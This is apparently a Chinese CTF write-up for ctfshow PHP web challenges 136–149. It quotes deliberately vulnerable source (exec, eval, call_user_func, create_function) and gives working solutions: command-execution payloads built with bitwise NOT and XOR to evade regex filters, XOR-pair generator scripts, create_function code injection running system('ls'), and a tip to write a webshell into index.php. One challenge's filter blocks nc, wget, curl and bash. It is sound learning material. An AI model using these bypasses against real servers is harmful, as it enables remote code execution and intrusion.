总结

136 tee命令

源码

  1. <?php
  2. error_reporting(0);
  3. function check($x){
  4. if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
  5. die('too young too simple sometimes naive!');
  6. }
  7. }
  8. if(isset($_GET['c'])){
  9. $c=$_GET['c'];
  10. check($c);
  11. exec($c);
  12. }
  13. else{
  14. highlight_file(__FILE__);
  15. }
  16. ?>

payload

  1. ?c=ls /|tee 1
  2. //将根目录下的内容写入1
  3. 访问1,下载文件发现f149_15_h3r3
  4. ?c=nl /f149_15_h3r3|tee 1
  5. 访问1,下载文件得flag

137 类的静态方法调用

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class ctfshow
  5. {
  6. function __wakeup(){
  7. die("private class");
  8. }
  9. static function getFlag(){
  10. echo file_get_contents("flag.php");
  11. }
  12. }
  13. call_user_func($_POST['ctfshow']);
  14. ?>

解题

  1. php ->与:: 调用类中的成员的区别
  2. ->用于动态语境处理某个类的某个实例
  3. ::可以调用一个静态的、不依赖于其他初始化的类方法
  4. post
  5. ctfshow=ctfshow::getflag

138 通过数组方法调用call_user_func

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class ctfshow
  5. {
  6. function __wakeup(){
  7. die("private class");
  8. }
  9. static function getFlag(){
  10. echo file_get_contents("flag.php");
  11. }
  12. }
  13. if(strripos($_POST['ctfshow'], ":")>-1){
  14. die("private function");
  15. }
  16. call_user_func($_POST['ctfshow']);
  17. ?>

解题

在本地环境测试了一下,利用数组方式调用类的方法时,无论时静态还是非静态都不用加::

  1. <?php
  2. class show{
  3. public function sayhi(){
  4. echo "let's go bro!";
  5. }
  6. static function sayhello()
  7. {
  8. echo "you can do it!";
  9. }
  10. }
  11. $a = array('show','sayhi');
  12. call_user_func($a);
  13. $b = array('show','sayhello');
  14. call_user_func($b);
  15. ?>

payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

139 盲打 未解答

140 松散比较

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if(isset($_POST['f1']) && isset($_POST['f2'])){
  5. $f1 = (String)$_POST['f1'];
  6. $f2 = (String)$_POST['f2'];
  7. if(preg_match('/^[a-z0-9]+$/', $f1)){
  8. if(preg_match('/^[a-z0-9]+$/', $f2)){
  9. $code = eval("return $f1($f2());");
  10. if(intval($code) == 'ctfshow'){
  11. echo file_get_contents("flag.php");
  12. }
  13. }
  14. }
  15. }

解题

因为最后一个if是松散比较’ctfshow’==0 所以只要intval($code)等于0就可以了
paylaod: f1=md5&f2=md5

141 ~无字母数字绕过

源码

  1. <?php
  2. #error_reporting(0);
  3. highlight_file(__FILE__);
  4. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  5. $v1 = (String)$_GET['v1'];
  6. $v2 = (String)$_GET['v2'];
  7. $v3 = (String)$_GET['v3'];
  8. if(is_numeric($v1) && is_numeric($v2)){
  9. if(preg_match('/^\W+$/', $v3)){
  10. $code = eval("return $v1$v3$v2;");
  11. echo "$v1$v3$v2 = ".$code;
  12. }
  13. }
  14. }

解题脚本

  1. <?php
  2. $system='system';
  3. $command="ls";
  4. echo '(~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  5. //(~%8C%86%8C%8B%9A%92)(~%93%8C);
  6. //修改参数就可以了
  7. ?>

142 is_numeric绕过

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if(isset($_GET['v1'])){
  5. $v1 = (String)$_GET['v1'];
  6. if(is_numeric($v1)){
  7. $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
  8. sleep($d);
  9. echo file_get_contents("flag.php");
  10. }
  11. }

这里前面讲过php5版本可以将字符串识别成八进制和十六进制
直接传0或者0x0或者00或则0e123

143 ^无字母数字绕过

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  4. $v1 = (String)$_GET['v1'];
  5. $v2 = (String)$_GET['v2'];
  6. $v3 = (String)$_GET['v3'];
  7. if(is_numeric($v1) && is_numeric($v2)){
  8. if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
  9. die('get out hacker!');
  10. }
  11. else{
  12. $code = eval("return $v1$v3$v2;");
  13. echo "$v1$v3$v2 = ".$code;
  14. }
  15. }
  16. }

和141很像不过是过滤了~,就不能运用取反了但是可以用异或

解题脚本

php脚本生成每个字符所对应的异或

  1. <?php
  2. $myfile = fopen("无数字字母绕过正则\xor_rce.txt", "w");
  3. $contents="";
  4. for ($i=0; $i < 256; $i++) {
  5. for ($j=0; $j <256 ; $j++) {
  6. if($i<16){
  7. $hex_i='0'.dechex($i);
  8. }
  9. else{
  10. $hex_i=dechex($i);
  11. }
  12. if($j<16){
  13. $hex_j='0'.dechex($j);
  14. }
  15. else{
  16. $hex_j=dechex($j);
  17. }
  18. $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
  19. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  20. echo "";
  21. }
  22. else{
  23. $a='%'.$hex_i;
  24. $b='%'.$hex_j;
  25. $c=(urldecode($a)^urldecode($b));
  26. if (ord($c)>=32&ord($c)<=126) {
  27. $contents=$contents.$c." ".$a." ".$b."\n";
  28. }
  29. }
  30. }
  31. }
  32. fwrite($myfile,$contents);
  33. fclose($myfile);
  34. ?>

python

  1. import requests
  2. import urllib
  3. import sys
  4. import os
  5. def action(arg):
  6. s1=""
  7. s2=""
  8. for i in arg:
  9. f=open(r"D:\phpstudy_pro\WWW\test\无数字字母绕过正则\xor_rce.txt","r")
  10. while True:
  11. t=f.readline()
  12. if t=="":
  13. break
  14. if t[0]==i:
  15. #print(i)
  16. s1+=t[2:5]
  17. s2+=t[6:9]
  18. break
  19. f.close()
  20. output="(\""+s1+"\"^\""+s2+"\")"
  21. return(output)
  22. while True:
  23. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  24. print(param)

144 141的plus

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  4. $v1 = (String)$_GET['v1'];
  5. $v2 = (String)$_GET['v2'];
  6. $v3 = (String)$_GET['v3'];
  7. if(is_numeric($v1) && check($v3)){
  8. if(preg_match('/^\W+$/', $v2)){
  9. $code = eval("return $v1$v3$v2;");
  10. echo "$v1$v3$v2 = ".$code;
  11. }
  12. }
  13. }
  14. function check($str){
  15. return strlen($str)===1?true:false;
  16. }

再142的基础上检查了v3,变一下顺序就行了

  1. ?v1=1&v2=*(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)&v3=1

145-146 运算符

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  4. $v1 = (String)$_GET['v1'];
  5. $v2 = (String)$_GET['v2'];
  6. $v3 = (String)$_GET['v3'];
  7. if(is_numeric($v1) && is_numeric($v2)){
  8. if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
  9. die('get out hacker!');
  10. }
  11. else{
  12. $code = eval("return $v1$v3$v2;");
  13. echo "$v1$v3$v2 = ".$code;
  14. }
  15. }
  16. }

在前面的基础上过滤了-+*/,所以需要使用别的运算符比如| & 三目运算符

  1. ?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|&v2=1
  2. ?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):&v2=1

147 %5c绕过正则+create_function()注入漏洞

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_POST['ctf'])){
  4. $ctfshow = $_POST['ctf'];
  5. if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
  6. $ctfshow('',$_GET['show']);
  7. }
  8. }

考察creat_function的代码注入

  1. create_function('$a','echo $a."123"')
  2. 类似于
  3. function f($a) {
  4. echo $a."123";
  5. }

如果第二个参数传入 echo 1;}phpinfo();//

  1. function f($a) {
  2. echo 1;}phpinfo();//
  3. }
  4. 从而执行phpinfo()命令

所以目前的payload就是

  1. get:?show=echo 1;}system('ls');//
  2. post: ctf=create_function

但是create_function无法绕过正则表达式
转自大佬

  1. PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以我们可以在create_function前加一个\或者%5c

149 竞争

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. $files = scandir('./'); //数组形式列出当前文件夹下的所有文件
  5. foreach($files as $file) {
  6. if(is_file($file)){
  7. if ($file !== "index.php") {
  8. unlink($file);
  9. }
  10. }
  11. }
  12. file_put_contents($_GET['ctf'], $_POST['show']);
  13. $files = scandir('./');
  14. foreach($files as $file) {
  15. if(is_file($file)){
  16. if ($file !== "index.php") {
  17. unlink($file);
  18. }
  19. }
  20. }

题目的意思是让你写文件,但是如果文件名称不是index.php的会就会删除你的文件
题目的意思应该是条件竞争,但是我们可以直接向index.php里写木马

149

  1. <?php
  2. include("flag.php");
  3. error_reporting(0);
  4. highlight_file(__FILE__);
  5. class CTFSHOW{
  6. private $username;
  7. private $password;
  8. private $vip;
  9. private $secret;
  10. function __construct(){
  11. $this->vip = 0;
  12. $this->secret = $flag;
  13. }
  14. function __destruct(){
  15. echo $this->secret;
  16. }
  17. public function isVIP(){
  18. return $this->vip?TRUE:FALSE;
  19. }
  20. }
  21. function __autoload($class){
  22. if(isset($class)){
  23. $class();
  24. }
  25. }
  26. #过滤字符
  27. $key = $_SERVER['QUERY_STRING'];
  28. if(preg_match('/\_| |\[|\]|\?/', $key)){
  29. die("error");
  30. }
  31. $ctf = $_POST['ctf'];
  32. extract($_GET);
  33. if(class_exists($__CTFSHOW__)){
  34. echo "class is exists!";
  35. }
  36. if($isVIP && strrpos($ctf, ":")===FALSE){
  37. include($ctf);
  38. }